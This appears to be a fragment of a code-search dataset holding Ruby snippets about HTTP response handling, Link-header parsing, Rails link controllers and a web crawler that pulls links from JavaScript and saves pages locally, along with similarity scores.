"def process_link_header(response)\n\n linkheader = LinkHeader.parse(response.headers[:link]).to_a\n\n next_link, last_link = nil, nil\n\n #### extract the interesting header links\n linkheader.each { |link|\n next_link ||= header_link_for_rel(link, 'next')\n last_link ||= header_link_for_rel(link, 'last')\n }\n\n # If there is more data on another page log that.\n if !next_link.nil?\n page_estimate = \"\"\n # Log last_page and per_page values from the 'last' url so can get rough estimate of total number of\n # entries for query. Note: We use the page/per_page information because it turns out that Canvas puts that\n # in the URL. However that isn't a standard and we shouldn't rely on it for processing.\n if !last_link.nil?\n p = Regexp.new(/page=(\\d+)&per_page=(\\d+)/)\n p.match(last_link)\n last_page, per_page = $1, $2\n page_estimate = \"last_page: #{last_page} page_size: #{per_page} \"\n end\n logger.warn \"#{self.class.to_s}:#{__method__}:#{__LINE__}: pagination: #{page_estimate} next_link: #{next_link}\"\n end\n\n # return the raw next link (or an empty string)\n next_link.nil? ? \"\" : next_link\n end",
"def handle\n respond\n nil\n end",
"def processresponse(httpresponse)\n\n @responsecode = httpresponse.code\n case httpresponse.code\n when 201 # success condition\n @response = httpresponse.headers[:location]\n when 200 # success condition\n @response = httpresponse.headers[:location]\n\n end\n\n end",
"def handle_response(response)\n case response.code.to_i\n when 200...300\n response\n else\n raise ResponseError.new(response)\n end\n end",
"def response; return @response end",
"def response\n\t\t@response\n\tend",
"def process_response(url, response)\n json = response.parsed_response\n response_code = json['responseCode']\n return json unless response_code != 1\n\n # we got an error response from the handle server, so convert it into\n # an actual exception and throw it here\n\n message = if json['message']\n json['message']\n elsif Error.response_codes.include? response_code\n Error.response_codes[response_code]\n else\n 'Unexpected error'\n end\n\n error = Error.new(response_code, message)\n error.handle = json['handle']\n error.url = url\n raise error\n end",
"def handle( request ) # note: all 'handle's return 'ml_response' in a chain\n\n ml_response =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n end",
"def link\n @title = \"Group Connections\"\n if request.get?\n render :link\n elsif request.xhr? #REQUEST LINK\n response_text = {:flash => {}, :text => {}}\n @group2 = Group.find(params[:group][:id])\n if @group.connect(@group2)\n response_text[:flash] = \"Pending\"\n\n #SEND OUT NOTIFICATION EMAILS\n @group2.admins.each do |admin|\n Notifier.pending_group(admin, @group2, @group).deliver\n end\n else\n response_text[:flash] = \"Error.\"\n end\n render :json => response_text\n return\n elsif request.post?\n @group2 = Group.find(params[:group][:id])\n if @group.connect(@group2)\n flash[:success] = \"Thanks. #{@group2.name} must now approve the connection.\"\n\n #SEND OUT NOTIFICATION EMAILS\n @group2.admins.each do |admin|\n Notifier.pending_group(admin, @group2, @group).deliver\n end\n else\n flash[:error] = \"Error connecting with #{@group2.name}. Please try again.\"\n end\n redirect_to @group\n else\n flash[:error] = \"Error connecting with #{@group2.name}. Please try again.\"\n redirect_to @group\n end\n end",
"def handle_response(res)\n if res.code.to_i == 201\n return res['Location']\n elsif [200,203,204,302].detect { |d| d == res.code.to_i }\n if res.body\n begin\n return JSON.load(res.body)\n rescue => e\n return res\n end\n else\n return res\n end\n else \n raise \"invalid response HTTP code: #{res.code.to_i}, #{res.code}, #{res.body}\"\n end\n end",
"def state_response\n unless resp = handle(@request)\n raise \"No handler found for this URI (#{@request.url})\"\n end\n send_response(resp)\n end",
"def handle_response(resp)\n self.response = JSON.parse(resp.body, symbolize_names: true)\n\n # :content and :reference must be included in response.\n if response.keys.include?(:content) && response.keys.include?(:reference)\n return\n end\n\n # :content or :reference not included.\n raise ::EasyManageClient::InvalidResponseContent\n end",
"def perform\n if url_needed?\n # We need to follow any redirects from the current url.\n # The final (non-redirected) location will become our URL, and any\n # URLs that redirected along the way (including the first) become our aliases\n # NB Only the original URL is guaranteed not to be redundant, either in another page_ref\n # or an alias. If it's the latter, we capture the alias. If we can't adopt the URL without\n # clashing with another page_ref, we assign it to MercuryResult and Gleaning and give up.\n # Check the header for the url from the server.\n # If it's a string, the header returned a redirect\n # otherwise, it's an HTTP code\n puts \"Checking direct access of PageRef ##{id} at '#{url}'\"\n subject_url = url\n # Loop over the redirects from the link, adding each to the record.\n # Stop when we get to the final page or an error occurs\n while (hr = header_result(subject_url)).is_a?(String) # ...because redirect\n # header_result returns a string for a redirect\n next_url = hr.match(/^http/) ? hr : safe_uri_join(subject_url, hr).to_s # The redirect URL may only be a path\n if !Alias.urleq(subject_url, next_url) && alias_for?(next_url) # Time to give up when the url has been tried (it already appears among the aliases)\n # Report the error arising from direct access\n hr = header_result next_url\n break\n end\n puts \"Redirecting from #{subject_url} to #{next_url}\"\n alias_for subject_url, true\n subject_url = next_url\n end\n accept_attribute :url, subject_url\n hr # Return the last error code\n end\n\n # Now that we have a url, move on to the mercury_result and the gleaning\n mercury_result.ensure_attributes # Block until mercury_result has completed and accepted its attributes\n if mercury_result.good? # All is well\n accept_url mercury_result.url if mercury_result.url_ready?\n if mercury_result.new_aliases_ready? && mercury_result.new_aliases.present?\n new_aliases = mercury_result.new_aliases.collect { |url| Alias.indexing_url url }\n # Create a new alias on this page_ref for every derived alias that isn't already in use\n (new_aliases - aliases.pluck(:url)).each { |new_alias| alias_for new_alias, true }\n end\n elsif mercury_result.bad?\n errors.add :url, \"can\\'t be accessed by Mercury: #{mercury_result.errors[:base]}\"\n end\n self.http_status = mercury_result.http_status\n\n gleaning.ensure_attributes # Block until gleaning has completed and accepted its attributes\n if gleaning.good?\n accept_url gleaning.url if gleaning.url_ready?\n elsif gleaning.bad?\n errors.add :url, \"can\\'t be gleaned: #{gleaning.errors[:base]}\"\n end\n\n if errors[:url].present?\n url_errors = errors[:url].join \"\\n\"\n if relaunch?\n raise url_errors # ...to include the errors and relaunch\n else\n errors.add :base, url_errors # ...to simply include the errors in the record\n end\n end\n\n end",
"def response_code; end",
"def response_code; end",
"def response_code; end",
"def response_code; end",
"def response\n raise \"Need to define how connector handles response\"\n end",
"def link\n\t\t\t@data['link']\n\t\tend",
"def response\n parse_request\n do_something\n put_response\n end",
"def handle_response(response, options = {}, &block)\n request = options[:request]\n method = (request ? request.method : options[:method]) || '?'\n url = (request ? request.url : options[:url]) || '?'\n default_data = options[:default_data]\n default_data = HashWithIndifferentAccess.new(default_data) if default_data && default_data.is_a?(Hash)\n handler_options = {default_data: default_data, raise_on_error: options[:raise_on_error]}\n if response.timed_out?\n handle_timeout(response, method, url, handler_options, &block)\n elsif response.code == 0\n handle_failure(response, method, url, handler_options, &block)\n else\n if !has_entity?(response) || acceptable?(response)\n entity = parse_entity(response.body) if response.body\n if response.success?\n handle_success_response(response, method, url, entity, &block)\n else\n handler_options[:silence_errors] = options[:silence_errors]\n handle_error_response(response, method, url, entity, handler_options, &block)\n end\n else\n handle_unacceptable_entity(response, method, url, handler_options, &block)\n end\n end\n end",
"def create\n @link = Link.new(params[:link])\n\n respond_to do |format|\n if @link.save\n @response = { url: \"#{request.protocol}#{request.host_with_port}/#{Link.encode(@link.id)}\" }\n format.json { render json: @response, status: :created, location: @link }\n else\n format.json { render json: @link.errors, status: :unprocessable_entity }\n end\n end\n end",
"def link\n @headers[:link]\n end",
"def parse(response)\n\nend",
"def link_headers\n yield if block_given?\n return '' unless response.include? 'Link'\n\n response['Link'].split(\",\\n\").map do |line|\n url, *opts = line.split(';').map(&:strip)\n \"<link href=\\\"#{url[1..-2]}\\\" #{opts.join ' '} />\"\n end.join \"\\n\"\n end",
"def _roda_handle_route\n catch(:halt) do\n @_request.block_result(yield)\n @_response.finish\n end\n end",
"def handle_response(response)\n case response.code.to_i\n when 200...400\n response\n when 404\n raise NotFoundError.new(response)\n else\n raise ConnectionError.new(response)\n end\n end",
"def handle_response(response)\n case response.code.to_i\n when 200...400\n response\n when 404\n raise NotFoundError.new(response)\n else\n raise ConnectionError.new(response)\n end\n end",
"def queue(link)\n\t\t####binding.pry\n\t\treq = request(link)\n\t\t######binding.pry\n\t\treq.on_complete {|res| \n\t\t\t######binding.pry\n\t\t\thandle_response(req, res)\n\t\t}\n\t\t#####binding.pry\n\t\thydra.queue(req)\n\t\t####binding.pry\n\tend",
"def handle_response(res)\n # relogin if needed\n return relogin if should_relogin(res)\n\n check_unauthorized(res.status, res.env.url.to_s)\n check_not_found(res.status)\n check_not_success(res.status)\n handle_success(res.body) do |json_body|\n yield(json_body) if block_given?\n end\n end",
"def handle_request request, usecase=Usecase, &block\n usecase = build_usecase( request, usecase, &block )\n usecase.response\n end",
"def upstream_response\n http = EM::HttpRequest.new(url).get\n logger.debug \"Received #{http.response_header.status} from NextBus\"\n http.response\n end",
"def follow_get_redirection(&block); end",
"def process_response query_url,headers,id\r\n response = Unirest.get query_url, headers:headers\r\n # Error handling using HTTP status codes\r\n if !(response.code.between?(200,206)) # [200,206] = HTTP OK\r\n raise APIException.new \"HTTP Response Not OK\", response.code, response.raw_body\r\n elsif \r\n if response.body[\"status\"] == \"Complete\"\r\n delete_media_by_id id\r\n puts response.body[\"frames\"]\r\n else\r\n puts \"Processing . . . \"\r\n sleep(2)\r\n process_response query_url,headers,id\r\n end\r\n end\r\n end",
"def visit\n link = Link.find_by(code: params[:code])\n if link\n RecordStatsJob.perform_async(link, request.remote_ip, request.user_agent)\n redirect_to link.original, status: :moved_permanently\n else\n render :file => \"#{Rails.root}/public/404.html\", layout: false, status: :not_found\n end\n end",
"def handle( request ) # note: all 'handle's return 'ml_response' in a chain\n\n# not yet request.record_arrival_time\n ml_response =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n# not yet request.record_completion_time\n ml_response\n end",
"def handle( request ) # note: all 'handle's return 'mlResponse' in a chain\n\n request.record_arrival_time\n mlResponse =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n request.record_completion_time\n mlResponse\n end",
"def http_parse_response(r, url)\n if r.is_a?(RestClient::Response)\n case r.code\n when 200..299 # success\n return r.headers[:content_location] || url\n when 300..399 # redirection\n return r.headers[:location] || url\n end\n end\n nil\n end",
"def process_response(provider_response)\n nil\n end",
"def process_response(provider_response)\n nil\n end",
"def handle\n unless Parser.valid_json?(event_key)\n raise WechatBot::Error, 'Wrong extra data transmitted'\n end\n\n # db.referrers.find({\"reference_id\": \"okv2022017\"}).sort({ \"_id\": 1}).skip(0).limit(30)\n\n # we are in front of a referrer request\n referrer = Referrer.where(reference_id: reference_id).first\n slack.message \"Referrer is `#{referrer.id}`\", url: admin_referrer_url(referrer)\n\n if user && referrer\n slack.message \"Customer is `#{user.id}`\", url: admin_user_url(user)\n else\n slack.message \"Customer was not resolved : #{wechat_user_solver.error}\"\n raise WechatBot::Error, 'Wrong referrer or/and customer'\n return\n end\n\n # binding the potential user with the referrer\n ReferrerBinding.new(referrer).bind(user)\n\n slack.message \"Referrer user children `#{referrer.children_users.count}`\"\n\n return_with(:success)\n end",
"def response\r\n @response\r\n end",
"def net_http_res; end",
"def handle_request(client, lines, requests); end",
"def handle_links(links_object)\n @uri = links_object['file']\n end",
"def handle_response(response, batch_id, fasta_mapper)\n if response.success?\n handle_success_response(response, batch_id, fasta_mapper)\n else\n handle_failed_response(response)\n end\n end",
"def handle_response\n unless performed?\n if @error.present?\n handle_error(@error)\n else\n respond_with do |format|\n # Browser scope.\n format.html do\n handle_response_html\n end\n # Rails remote form.\n format.js do\n handle_response_js\n end\n # API / xhr scope.\n format.json do\n handle_response_json\n end\n end\n end\n end\n end",
"def process_response!(response)\n\t\t\t\tfinish_request!\n\t\t\t\t\n\t\t\t\tif Exception === response\n\t\t\t\t\[email protected] \"[#{@message.id}] Failure while processing response #{response}!\" if @logger\n\t\t\t\t\tRubyDNS.log_exception(@logger, response) if @logger\n\t\t\t\t\t\n\t\t\t\t\ttry_next_server!\n\t\t\t\telsif response.tc != 0\n\t\t\t\t\[email protected] \"[#{@message.id}] Received truncated response!\" if @logger\n\t\t\t\t\t\n\t\t\t\t\ttry_next_server!\n\t\t\t\telsif response.id != @message.id\n\t\t\t\t\[email protected] \"[#{@message.id}] Received response with incorrect message id: #{response.id}\" if @logger\n\t\t\t\t\t\n\t\t\t\t\ttry_next_server!\n\t\t\t\telse\n\t\t\t\t\[email protected] \"[#{@message.id}] Received valid response #{response.inspect}\" if @logger\n\t\t\t\t\t\n\t\t\t\t\tsucceed response\n\t\t\t\tend\n\t\t\tend",
"def raw_response; end",
"def response\n @response\n end",
"def response\n @response\n end",
"def parse(uri, response, body); end",
"def process_response\n job = message.job\n job.data = message.data\n job.message = message.message\n\n if message.ok?\n job.proceed!\n else\n job.error!\n end\n end",
"def render_response\n response.headers['Content-Type'] = 'charset=utf-8'\n @resp = server.encode_response(@resp)\n return render_xml_response if is_xml_request?\n case @resp.code\n when OpenID::Server::HTTP_OK\n render :text => @resp.body, :status => 200\n when OpenID::Server::HTTP_REDIRECT\n redirect_to @resp.redirect_url\n else\n render :text => @resp.body, :status => 400\n end \n end",
"def handle_response(response)\n case response[:status]\n when :success, :created\n self.instance_variable_set('@notsaved', false)\n true\n when :errors\n Amfetamine.logger.warn \"Errors from response\\n #{response[:body]}\"\n response[:body].each do |attr, error_messages|\n error_messages.each do |msg|\n errors.add(attr.to_sym, msg)\n end\n end\n false\n when :server_error\n Amfetamine.logger.warn \"Something went wrong at the remote end.\"\n false\n end\n end",
"def handle_response(response)\n case response.code.to_i\n when 301, 302, 303, 307\n raise Redirection, response\n when 200...400\n response\n when 400\n raise ResourceInvalid, response\n when 401\n raise UnauthorizedAccess, response\n when 403\n raise ForbiddenAccess, response\n when 404\n raise ResourceNotFound, response\n when 405\n raise MethodNotAllowed, response\n when 409\n raise ResourceConflict, response\n when 410\n raise ResourceGone, response\n when 422\n raise ResourceInvalid, response\n when 401...500\n raise ClientError, response\n when 500...600\n raise ServerError, response\n else\n raise(ConnectionError.new(response, \"Unknown response code: #{response.code}\"))\n end\n end",
"def handle_response(response)\n case response.code\n when 200..299\n response\n else\n if response.request.format == :json\n raise FreebaseAPI::ServiceError.new(response['error'])\n else\n raise FreebaseAPI::NetError.new('code' => response.code, 'message' => response.response.message)\n end\n end\n end",
"def destroy\n unless is_owner? @link\n render :file => \"public/401.html\", :status => :unauthorized\n return\n end\n \n @link.destroy\n respond_to do |format|\n format.html { redirect_to links_url, notice: 'Link was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def response_handler( request, response )\n return response if response.scope.out? || !response.text? ||\n response.code == 304\n\n if ignore_responses?\n page = Page.from_data(\n url: response.url,\n response: response.to_h\n )\n else\n page = response.to_page\n end\n\n page = update_forms( page, request, response )\n\n print_info \" * #{page.forms.size} forms\"\n print_info \" * #{page.links.size} links\"\n print_info \" * #{page.cookies.size} cookies\"\n print_info \" * #{page.jsons.size} JSON\"\n print_info \" * #{page.xmls.size} XML\"\n\n @pages << page.dup\n end",
"def adapt_response request_context, response\n connection.adapt_response request_context, response\n end",
"def link\n # PARAMS\n request_id = params[:id]\n request = Request.find(request_id)\n project_name = request.project_name\n workpackage_name = request.workpackage_name\n brn = request.brn\n workstream = request.workstream\n str = \"saved\"\n \n # STREAM\n stream = Stream.find_with_workstream(workstream)\n if not stream\n render(:text=>\"Stream not found\")\n end\n # UPDATE REQUEST\n request.stream_id = stream.id\n request.save\n \n # Commented because a new page was created to link previous history to new request, see in tools.\n # CHECK HISTORY_COUNT WITHOUT REQUEST\n # if request.counter_log.validity\n # history_count_no_request = nil\n # if (WORKPACKAGE_QS == request.work_package[0..6])\n # history_count_no_request = HistoryCounter.find(:all, :conditions=>[\"stream_id = ? and request_id IS NULL and concerned_status_id IS NOT NULL\",stream.id])\n # elsif (WORKPACKAGE_SPIDERS == request.work_package[0..6])\n # history_count_no_request = HistoryCounter.find(:all, :conditions=>[\"stream_id = ? and request_id IS NULL and concerned_spider_id IS NOT NULL\",stream.id])\n # end\n \n # if (WORKPACKAGE_COUNTERS.include?(request.work_package[0..6]))\n # count = 0\n # total_count = CounterBaseValue.first(:conditions => [\"complexity = ? and sdp_iteration = ? and workpackage = ?\",request.complexity,request.sdpiteration,request.work_package]).value\n # history_count_no_request.each do |hc_no_req|\n # if count < total_count\n # hc_no_req.request_id = request.id\n # hc_no_req.save\n # count = count + 1\n # end\n # end\n # # TEXT RESULT\n # if count > 0\n # str = str+\" and \"+count.to_s+\" ticket already used.\"\n # end\n \n # end\n # end\n \n render(:text=>str)\n end",
"def on_response request, response, block\n block.call(response.name, response.params)\n end"
] | [
"0.6972669",
"0.6972669",
"0.66860217",
"0.63975567",
"0.6363958",
"0.62960523",
"0.6275297",
"0.6185953",
"0.61779183",
"0.6164373",
"0.6164373",
"0.6164373",
"0.6164373",
"0.6164373",
"0.6164373",
"0.6164373",
"0.6164373",
"0.6164373",
"0.6164373",
"0.6164373",
"0.6164373",
"0.6164373",
"0.615448",
"0.61404043",
"0.6073323",
"0.60634655",
"0.6044555",
"0.6043435",
"0.60421443",
"0.6037707",
"0.59056515",
"0.5893326",
"0.588772",
"0.5884148",
"0.5838906",
"0.5836214",
"0.58271223",
"0.58218277",
"0.5805651",
"0.57966834",
"0.57876146",
"0.578424",
"0.5780656",
"0.5770121",
"0.57587886",
"0.5753491",
"0.5740971",
"0.5702104",
"0.56889224",
"0.5688555",
"0.566908",
"0.5644869",
"0.5644869",
"0.5644869",
"0.5644869",
"0.5644713",
"0.56445014",
"0.5638132",
"0.5636708",
"0.56333",
"0.5622878",
"0.5614859",
"0.5602072",
"0.55998147",
"0.55980426",
"0.55980426",
"0.55596787",
"0.55569464",
"0.55381685",
"0.5536342",
"0.55352616",
"0.5534597",
"0.5525732",
"0.5518555",
"0.5514405",
"0.5510997",
"0.5508347",
"0.5508347",
"0.550631",
"0.55037826",
"0.55028665",
"0.55006224",
"0.54952127",
"0.54948086",
"0.5492275",
"0.5487277",
"0.54837865",
"0.54802245",
"0.54802245",
"0.54796964",
"0.5473032",
"0.54681844",
"0.546497",
"0.54616714",
"0.5453175",
"0.5449335",
"0.54454905",
"0.54414964",
"0.54399943",
"0.54374397"
] | 0.6372328 | 4 |
XXX causes a huge spike in memory use. very dodgy and wrong anyway | def parse_javascript(content)
i = 0
while m = content.match(/(['"])(.*?[^\\])\1/, i)
str = $2 # TODO unescape this string, eg. \\ -> \, \" -> "
new_uri = nil
begin
if str.start_with?('http:') or str.start_with?('https:')
new_uri = URI.parse(str)
elsif str.include?('/') or str =~ /\.[a-z0-9]{1,8}$/
new_uri = uri.merge(str)
end
if new_uri
within_root = LinkToLoad.within_root?(new_uri)
if not @opts[:duplicate] or within_root
link = @queue.add_uri(new_uri, uri, within_root)
link.suspect = true if link
end
end
rescue URI::InvalidURIError
end
i = m.end(0)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def memos; end",
"def memos; end",
"def big_bad; end",
"def pausable; end",
"def mem(*) end",
"def memsize\n end",
"def used?; end",
"def garbage_collect\n end",
"def garbage_collect\n end",
"def private; end",
"def nakayoshi_gc\n 4.times { GC.start(full_mark: false) }\n GC.compact\nend",
"def current_memory\n nil\n end",
"def prepareForReuse; end",
"def ruby_gc_init_slots\n 10_000\n end",
"def ensure_free_space(src,dst)\n state = true\n #lines = %x[df #{dst}]\n #n = lines.last.split[1].to_i * 1024\n #debug lines\n return state\nend",
"def rekey_limit; end",
"def ignore_bad_chunking; end",
"def ignore_bad_chunking; end",
"def ruby_gc_malloc_limit_growth_factor\n 1.4\n end",
"def cache; end",
"def cache; end",
"def cache; end",
"def cache; end",
"def cache; end",
"def cache; end",
"def cache; end",
"def memory_usage_information\n super\n end",
"def memo; end",
"def dematerialize ; end",
"def book_execution(fill)\n# allocate(fill)\n end",
"def patch_safe_limit_bytes\n patch_hard_limit_bytes / 10\n end",
"def line_cache; end",
"def now_allocations\n 0\n end",
"def gen_washing\r\r\n end",
"def ignore_bad_chunking=(_arg0); end",
"def reap; end",
"def memory_used_with_g\n\t\tself.memory_memused.map { |i| i / 1000000000.0}\n\tend",
"def mem=(p0) end",
"def gtm_memory_usage_statistics\n super\n end",
"def test_GC_ClassMethods_stress\n\t\t# TODO, need add some test cases.\n\tend",
"def lock; end",
"def lock; end",
"def lock; end",
"def coredump?; false; end",
"def test_load_0\n\n map = {}\n\n @engine.register_participant(\"count\") do |workitem|\n count = map[workitem.flow_id]\n count = unless count\n 1\n else\n count + 1\n end\n map[workitem.flow_id] = count\n end\n\n n = 1000\n\n n.times do |i|\n li = LaunchItem.new(TestDefinition0)\n li.flow_id = i\n @engine.launch(li)\n end\n\n #while @engine.get_expression_storage.size > 1\n # sleep 0.001\n #end\n @engine.join_until_idle\n\n good = true\n\n n.times do |i|\n c = map[i]\n if c == 2\n #if c == 1\n print \".\"\n else\n print c\n good = false\n end\n end\n\n #puts \"\\n__good ? #{good}\"\n assert good, \"missing count\"\n\n # 100 in 1s (in memory engine)\n # 1'000 in 14s (in memory engine)\n # 10'000 in 143s (in memory engine)\n # 1'000 in 31s (cache engine)\n # 10'000 in 321s (cache engine)\n # 1'000 in 113s (persistence only engine)\n # 10'000 in 1173s (persistence only engine)\n #\n #\n # ruby 1.8.5 (2006-12-25 patchlevel 12) [i686-darwin8.8.3]\n #\n # Machine Name: Mac\n # Machine Model: MacBook2,1\n # Processor Name: Intel Core 2 Duo\n # Processor Speed: 2 GHz\n # Number Of Processors: 1\n # Total Number Of Cores: 2\n # L2 Cache (per processor): 4 MB\n # Memory: 2 GB\n # Bus Speed: 667 MHz\n\n # Thu Sep 13 15:38:46 JST 2007\n #\n # 100 in 3s (in memory engine)\n # 1'000 in 85s (in memory engine)\n # 10'000 in s (in memory engine)\n end",
"def guest_memory\n begin\n host_memory / 2\n rescue\n 8192\n end\nend",
"def memsize; RAtlas::memsize(@storage);end",
"def cleanup; end",
"def cleanup; end",
"def cleanup; end",
"def cleanup; end",
"def ruby_gc_malloc_limit_max\n 32 * MEGABYTE\n end",
"def too_many_hops?; end",
"def refuse_coverage_drop; end",
"def autorestore; end",
"def free_space_ok?\n #todo: need real heuristic\n free_space['main']['inodes'] > 100000\n end",
"def singleton0_cache; end",
"def ruby_gc_heap_free_slots\n 4096\n end",
"def memory_allocation_exceeded(host_name)\n `curl -s -i -L \\\n -u #{Conn[:creds]} \\\n -H 'content-type:application/json' \\\n #{[Conn[:host_api], 'nodes', host_name].join('/')} | jq '.mem_used<.mem_limit*.8'`\n end",
"def memo\n end",
"def allow_concurrency; end",
"def allow_concurrency; end",
"def generate_comprehensive\n\n end",
"def ruby_gc_heap_growth_max_factor\n 0\n end",
"def probers; end",
"def dbsize; end",
"def dbsize; end",
"def cheap_wait; end",
"def check_for_registry_leaks\n expected = @players.size + @npcs.size\n actual = @registry.size\n if expected != actual\n raise \"We have #{expected} game entities, #{actual} in registry (delta: #{actual - expected})\"\n end\n end",
"def deallocate_memory\n return false\n end",
"def _get_allocated_size; GC.stat(:malloc_increase_bytes); end",
"def rekey_limit=(_arg0); end",
"def finalize!; end",
"def erlang_process_allocation_exceeded(host_name)\n `curl -s -i -L \\\n -u #{Conn[:creds]} \\\n -H 'content-type:application/json' \\\n #{[Conn[:host_api], 'nodes', host_name].join('/')} | jq '.proc_used<.proc_total*.8'`\n end",
"def measure; end",
"def measure_gc\n return unless enabled?\n\n @raw_data << { fake: true }\n @total_time += 1.1\n\n end",
"def allocate(parts); end",
"def gcdlcm(p0) end",
"def instance_cache; end",
"def processor_count; end",
"def processor_count; end",
"def memory_view(cols = nil,start_at = 8,end_at = 43808,skip_empties = false)\n cols = @memory_view_width\n str = \"\"\n puts Benchmark.measure {\n tag_open = \"\"\n bytes_left = -1\n empty_row = Array.new(cols,0)\n mem_address = start_at\n row_index = 0\n while mem_address <= end_at\n #row = @vm.memory[mem_address..(mem_address+cols)]\n row = @vm.memory.raw_read(mem_address...(mem_address+cols))\n next if skip_empties && row == empty_row\n row_address = start_at + (row_index * cols)\n mem_hex = \"\"\n str << %(<tr class=\"memory_row_address_#{row_address}\"><td class=\"address\">#{row_address}</td><td>)\n row.bytes.each_with_index{ |b,i|\n address = row_address + i\n\n if @vm.allocations[address]\n #bytes_left = Vm::TYPE_SIZES[ @vm.allocations[address][0] ]\n bytes_left = 4 # vars in memory are always 32-bit ints/floats?\n classes = \"allocated hl_address hl_address_#{address} data_type_#{@vm.allocations[address][0]} allocation_id_#{@vm.allocations[address][1]}\"\n bytes = @vm.read(address,bytes_left)\n native = @vm.arg_to_native(@vm.allocations[address][0],bytes)\n tag_open = %(<a class=\"#{classes}\" href=\"#\" data-native=\"#{native}\" data-bytes=\"#{hex(bytes)}\" data-data_type=\"#{@vm.allocations[address][0]}\" data-allocation_id=\"#{@vm.allocations[address][1]}\" data-address=\"#{address}\">)\n str << tag_open\n elsif i == 0 && bytes_left > 0\n str << tag_open\n end\n\n bytes_left -= 1\n str << %(<span class=\"address_#{address} hl_address hl_address_#{address}\">) << hex(b) << %(</span>)\n\n if bytes_left == 0 || bytes_left > 0 && i == cols-1\n str << \"</a>\"\n end\n\n str << \" \"\n }\n str << %(</td></tr>\\n)\n mem_address += cols\n row_index += 1\n end\n }\n str\n end",
"def in_memory?\n !enabled?\n end",
"def ibu; end",
"def allocate_memory( amount )\n return false\n end",
"def pool; end",
"def pool; end",
"def def_block_size\n 16384\n end",
"def max_mem\n @max_mem ||= 1024 * 1024\n end",
"def out_buffers; @out_buffers; end",
"def storage_failure; end",
"def entry_size; BLOCK_SIZE; end",
"def entry_size; BLOCK_SIZE; end",
"def used?\n true\n end",
"def written_blocks\n (@real_time_memory + @user_memory).reject(&:nil?).count\n end",
"def test_rlimit\n unless RUBY_PLATFORM =~ /java/ or EM.set_descriptor_table_size >= 1024\n a = EM.set_descriptor_table_size\n assert( a <= 1024 )\n a = EM.set_descriptor_table_size( 1024 )\n assert( a == 1024 )\n end\n end",
"def in_memory\n []\n end",
"def in_memory\n []\n end",
"def max_buffer_size; end",
"def enable_gc_optimizations\r\n\t\t\tif GC.respond_to?(:copy_on_write_friendly=)\r\n\t\t\t\tGC.copy_on_write_friendly = true\r\n\t\t\tend\r\n\t end",
"def max_fast_inline(num_of_requests); end"
] | [
"0.68657255",
"0.68657255",
"0.6808195",
"0.6198888",
"0.6138034",
"0.6066464",
"0.60321605",
"0.5994822",
"0.5994822",
"0.59879124",
"0.5928295",
"0.58783036",
"0.58734006",
"0.5852445",
"0.58475345",
"0.5808522",
"0.5776025",
"0.5776025",
"0.5754171",
"0.57425886",
"0.57425886",
"0.57425886",
"0.57425886",
"0.57425886",
"0.57425886",
"0.57425886",
"0.5718239",
"0.57119524",
"0.56550765",
"0.56427103",
"0.5584047",
"0.55595154",
"0.5540621",
"0.5521942",
"0.5520911",
"0.55118424",
"0.54972184",
"0.5495138",
"0.5489875",
"0.54886174",
"0.548807",
"0.548807",
"0.548807",
"0.5480973",
"0.54501265",
"0.5421778",
"0.5409769",
"0.54094523",
"0.54094523",
"0.54094523",
"0.54094523",
"0.53968203",
"0.53809094",
"0.5377751",
"0.53761643",
"0.53715646",
"0.5365023",
"0.5361688",
"0.53492796",
"0.53327125",
"0.5322232",
"0.5322232",
"0.5311463",
"0.53065646",
"0.530343",
"0.5283881",
"0.5283881",
"0.52808213",
"0.52802277",
"0.5278375",
"0.52777267",
"0.5276552",
"0.5267865",
"0.52648723",
"0.5263687",
"0.5263568",
"0.52631724",
"0.526103",
"0.5250367",
"0.5245847",
"0.5245847",
"0.5245605",
"0.5244516",
"0.52242815",
"0.5220023",
"0.5214408",
"0.5214408",
"0.52051044",
"0.52007216",
"0.51998556",
"0.51978564",
"0.519403",
"0.519403",
"0.5193335",
"0.51881677",
"0.5184071",
"0.5181271",
"0.5181271",
"0.5176366",
"0.51717836",
"0.5166084"
] | 0.0 | -1 |
save the content of the link, attempting to replace the links in the content to local references | def duplicate(content_type, content)
# TODO process CSS as well
if content_type['html']
Nokogiri.parse(content).search('@src', '@href').each {|attr|
new_uri = parse_uri(attr.content.strip, base, uri)
attr.content = uri_to_filename(new_uri.route_from(uri)).gsub(' ', '%20') if LinkToLoad.within_root?(new_uri)
}
end
filename = uri_to_filename(uri)
# create a local directory structure to match the site structure as necessary
dir = nil
filename.dirname.split('/').each {|subdir|
dir = (dir ? File.join(dir, subdir) : subdir)
if not File.exist?(dir)
FileUtils.mkdir(dir)
elsif File.file?(dir) # a page may already exist with the same name as the directory we want to create...
temp = Tempfile.new('', '.')
temp.close
FileUtils.mv(dir, temp.path)
FileUtils.mkdir(dir)
FileUtils.mv(temp.path, File.join(dir, 'index.html'))
end
}
File.open(filename, 'wb') {|f| f.write(content) }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update_references_html\r\n fixup_page\r\n html = display_content\r\n includes = find_includes(html)\r\n page_names = find_referenced_names(html)\r\n save_references(page_names, includes)\r\n end",
"def save_file path, content\n\t\t\t\tif @fix\n\t\t\t\t\tcontent = content.gsub \"url('/\", \"url('\"\n\t\t\t\t\tcontent = content.gsub 'src=\"/', 'src=\"'\n\t\t\t\t\tcontent = content.gsub 'href=\"/', 'href=\"'\n\t\t\t\tend\n\t\t\t\tFile.open(path, 'w+') { |f| f.puts content }\n\t\t\tend",
"def save\n @link.Save\n end",
"def save_posted_link( )\n\t\n\tdata_file = \"posted_link.dat\"\n\tfp = File.open(data_file,\"a\")\n\t$link_posted.keys.each { |link|\n\t\tfp.puts( link )\n\t}\n\tfp.close()\t\nend",
